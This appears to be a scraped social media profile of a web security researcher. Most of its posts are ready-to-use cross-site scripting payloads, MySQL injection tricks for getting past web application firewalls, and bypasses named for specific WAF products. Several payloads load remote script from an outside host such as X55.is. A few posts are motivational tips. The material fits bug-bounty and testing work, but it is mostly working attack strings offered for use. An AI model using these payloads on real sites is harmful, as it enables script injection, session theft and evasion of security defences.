Pinned
00:00
BRute Logic
12.8K posts
BRute Logic
@BRuteLogic
- Here's a small #XSS list for manual testing (main cases, high success rate). "><img src onerror=alert(1)> "autofocus onfocus=alert(1)// </script><script>alert(1)</script> '-alert(1)-' \'-alert(1)// javascript:alert(1) Try it on: - URL query, fragment & path; - all input fields.
- Some MySQL tricks to break some #WAFs out there. SELECT-1e1FROM`test` SELECT~1.FROM`test` SELECT\NFROM`test` SELECT@^1.FROM`test` SELECT-id-1.FROM`test` #SQLi #bypass #bugbountytip
- The best single #XSS vector you'll ever have! 😎 JavaScript://%250Aalert?.(1)// '/*\'/*"/*\"/*`/*\`/*%26apos;)/*<!--> </Title/</Style/</Script/</textArea/</iFrame/</noScript> \74k<K/contentEditable/autoFocus/OnFocus= /*${/*/;{/**/(alert)(1)}//><Base/Href=//X55.is\76-->
- Tips to Master Something 1. Expose yourself to basics over and over again. 2. Stick to what you can understand, prove and explain. 3. Always think in new ways to do the same thing better.
- Another brutal secret revealed! 😎 Payload to bypass simple email validation in PHP "><svg/onload=confirm(1)>"@x.y #KNOXSS case #21 check it here: brutelogic.com.br/knoxss.html
- All script-based #XSS vectors. (HTML, no events) <script>alert(1)// <script>alert(1)<!-- <script>alert(1)%0A--> <script src=data:,alert(1)> <script src=//HOST/FILE> <script src=https:DOMAIN/FILE> <svg><script xlink:href=//HOST/FILE> <svg><script xlink:href=https:DOMAIN/FILE>
- Christmas Gifts!🎄 WAF #XSS Bypasses Wordfence 7.4.2 <a href=javascript:alert(1)> Sucuri CloudProxy (POST only) <a href=javascript:confirm(1)> ModSecurity CRS 3.2.0 PL1 <a href="jav%0Dascript:alert(1)"> Encode special chars properly. #MerryChristmas!
- 7 Steps to Become a #Hacker 1. Learn 2. Try 3. Learn again 4. Try again 5. Try UNTIL 6. Share 7. Return to 1 #h4ppyn3wy34r
- One #XSS Payload to Rule Them All #Bypass Akamai, Imperva and CloudFlare #WAF <A HRef=//X55.is AutoFocus %26%2362 OnFocus%0C=import(href)> #hack2learn @KN0X55
- #XSS PoC Styles Noob: alert(1) Bug Hunter: alert(document.domain) WAF Bypasser: d=document,b='`',d['loca'+'tion']='javascript:aler'+'t'+b+domain+b Red Teamer: import('//X55.is/wp')
